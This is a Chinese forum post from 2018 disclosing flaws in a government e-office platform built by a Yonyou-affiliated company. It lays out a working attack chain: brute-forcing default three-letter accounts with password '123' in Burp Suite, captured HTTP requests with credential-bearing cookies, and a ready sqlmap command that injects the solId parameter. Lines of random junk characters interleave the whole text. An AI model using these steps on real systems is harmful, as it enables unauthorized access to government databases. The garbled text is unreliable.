|
7 J) ~/ ^9 }; F, O7 u/ Z' l, x: c& t
4 k1 O, ?6 x ]; e ) Y3 F5 B* j' _* T6 I
8 b7 D" L) Z R. o- P! w+ h
平台简介：
$ h2 Q8 p6 h' O' \ 0 R/ L/ ?) Q1 U( f* w K V
/ W$ ~. r6 v# `* Z/ j
5 d; V( h% j8 Q( t' ^7 e
7 ?! N8 a1 W& \+ z6 D F
6 B+ ]* f6 t8 e) q6 N7 n* J 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
# f- d" ~. R+ B1 P, n: V( }- P7 `同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
+ {+ p9 l* L- Q, s' w# T
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！
, U) n; L: p7 k$ @% P. u& T; Y " a- V8 t& |% g: z0 ]0 \, d
, P4 R8 t- E: J" @9 [ 6 g6 ` y/ Q; r5 @
" w* U( v E% F7 C
# \2 b- s k( S/ X# a
由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：) ~/ P. [$ Z/ V
' Y% i. t; a" A3 M* g4 |& ~8 F; y- D7 b2 [8 Y8 @- k; C4 r
6 b- _- }& N+ N
$ }2 H3 n5 t9 [+ V6 C3 L. Q# j
0 G1 S/ K0 w% `7 s$ {) }
http://1.1.1.1:7197/cap-aco/#（案例2-）! o8 ~, W4 u+ T2 K+ P* y6 B) u- I
$ e: U- @# V0 A+ Y0 P" Z3 O- b& Q5 T# O \
http://www.XXOO.com （案例1-官网网站）
, l" _+ o' c8 k C( g ) \: s& F$ R k; D' E
% w. d! x8 F/ E6 t/ Z , @ c$ {, E! N; R: ~, X% f" G
0 Y+ I+ }7 ~; v# y2 Y, R& d* Q
+ e i) _1 y; c% ?- [ 漏洞详情:: A/ i2 d1 H$ o/ R4 ~. T7 A
) j9 L* E- j- D/ i9 h0 b9 C r
7 D4 E( g& I" x
初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试
! K! n9 h' n3 o3 n' J p6 q
; z1 P+ e7 x% |/ N( o0 o. a% k$ d5 x; m$ S3 |# s: L6 b6 Z
首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：
2 Q# c. K/ B% t( l- s2 d+ z" I0 @ % n: _* m# ~# {! @ z
; Y4 \ t! h$ d1 H4 {5 }. r5 q
0 H6 k7 v1 f& i2 v( y, l - m3 N2 a' R, U x/ V' w; O
, B3 }3 K" e& X* Q  , b/ G! Z6 D# I+ S/ L9 E: A
, n# E2 ?) g6 \: ]8 Z- _( H$ q; n" f5 C7 O
status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：4 x& Z. L; F0 n, P
4 d/ F& L1 H" T% u+ \
4 P, d: R* |( D! M7 K6 e; m( j
1、案例1-官方网站
5 A, K4 M& j2 N8 a / }$ w% I5 e4 W9 }' ^
8 j) l, ^# h$ h4 o& T; T
GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1& V& F/ j) {' j; j1 [
% I( D( C- C* t; a* h, n3 A& p
( u. W( A, T2 v W2 T Host: www.XXOO.com
7 l4 E* o; Y# W& ^% w# V
* N$ b5 W' ^' a/ M7 G4 G% T3 P; u
# G% r( W. q* k2 B/ F C% a2 t Proxy-Connection: Keep-Alive1 ~# Z6 r/ _6 {. ], ?% L
2 Q5 S: P; f' Z8 f% U" h2 V6 h
! T! A0 k! Y+ b8 }" N
Accept: application/json, text/javascript, */*; q=0.01
% N% p7 T5 V. ^7 E- X, n6 I 8 k$ S3 J2 h. ?% H9 ~1 P
0 |( N. E9 k$ l Accept-Language: zh-CN: X s8 M$ [* U+ Y
9 T7 L/ A8 R, l
+ i6 N2 {7 n. W. j
Content-Type: application/json8 N# A# O% c# O# h, J) R
/ B- o% m' R' {" ? w2 |7 U! W
1 W8 F. ?. i8 w) Q User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko
& @/ ^$ h: j7 j
7 l3 |1 N& s+ k# q4 y1 Q. C
3 l9 O9 N0 ^& h X-Requested-With: XMLHttpRequest" y2 z: G* {1 \* I
, r) [2 z3 W7 _4 _7 f( G' Q
$ n/ t: `) _& }* w3 h. _ Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M0026 e9 l y1 N' }$ J% E/ ^3 l
3 B" R/ B; P' Z
- ?5 Y5 X* o0 C& J' w! r* ` f Accept-Encoding: gzip, deflate, sdch9 Y. c+ j, }" d
B9 V! z2 f: K* g+ W4 P2 s
0 p" N% G% M$ L Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e
0 V3 t2 a! i, _! p( |+ W
7 d, o/ k; [" C' v4 g7 }! }/ B8 H/ }
$ ]6 F$ f4 S# o, h$ S 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:
* q2 Q9 z; \0 U6 L* w% \: b/ e0 Z( k
6 A; X! b/ T9 u3 f' X H6 w$ Z& n% `! |7 v. S U! W
 & E# n( Q: r8 ?4 K0 o
, R9 Q# w5 z. m* Y5 o
4 E9 x9 w& N3 K  ; y' K' F: [$ p
! e6 F( Y/ O! A0 J L) {' r, t, C. d" H' k* x" `) n# K1 T8 F
) O' X9 R# f* Z( r `& L 1 k2 [7 n! n' F' C
: {0 k% f) m# V6 D. Q! R
5 F S) ~$ v! D) u$ L4 M
' C8 ]7 z3 p$ g3 T) c0 r8 s# H- V) T& Z6 u, \' c7 _
_1 K9 ?$ C: F; Q. y" q& Z
+ k! w C" O( U& P" B$ v4 A
" C, X+ I; W; ~- x8 T; f 2、案例2-某天河云平台1 z: G! L- P4 t
9 b$ J( N' ~( E1 J/ Y; ~1 E. R" d. M
GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1
) S( H: U+ r8 p' y5 F% p 2 _* `0 l" q' W8 Z! [6 {/ d( H: @
9 c1 q; m6 Z$ M8 y* f Host: 1.1.1.:7197
$ ^' W/ V7 c. {
$ e- s8 K% f7 i e# |
+ c0 Y2 }+ H9 s+ M1 {7 n O Accept: application/json, text/javascript, */*; q=0.01: E/ V& h( z' R) Z
% ?2 e2 q6 P! Q" q" q5 Y8 ~
7 R( u/ V& p6 t5 H1 S$ u- R X-Requested-With: XMLHttpRequest
1 C0 X& X& w/ ] 7 {4 \) [3 x" m1 s3 b
! p" M6 t7 e7 ~ z$ w0 A User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0
. L" y8 q! F. u8 {, @: @ 6 C* T4 r5 ? L$ ]: ^% a) F% e- H7 W
& o7 P& {9 B% e$ U Content-Type: application/json9 j& `1 J% m3 v( N6 X9 L
; ]- l* _% C8 h" c# P3 g3 D( V
3 q" @) j$ t6 V* S& G$ f5 }( V Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008
: [3 m, B1 N J# l
+ O8 N4 d! |" e, G8 g& [; r$ D! j9 j6 N3 |. a! H
Accept-Language: zh-CN,zh;q=0.8
- @; e/ X7 I. ]+ w/ n3 @5 m' A5 ^
; U% T% w8 `: x. G) H" [9 [, s2 X/ Y* i% K' R2 j
Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1
: K1 A' k3 w" N# {- \0 T : P+ |0 u2 J4 T1 a! Z9 E& ^
* E2 J& g# A) k8 A1 H Connection: close
- I" H7 T; P* Q3 A; A . \& y, T* N* L5 P5 R+ {
8 \' z: D+ }+ v* K1 M
将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:
3 w: v6 I( c P0 |
# \. e; K$ O* X, e. Y$ u$ c- e7 @9 w& s2 K \2 K
4 n. h& a/ U5 `$ v3 w! G' J, [ 6 d! E6 A) M0 x2 t+ k6 [* D) t
) m2 J, A# h+ ?6 J
7 x0 E: u; s, S4 A- T! A
| 
发表于 2018-10-20 20:15:17
收藏
支持
反对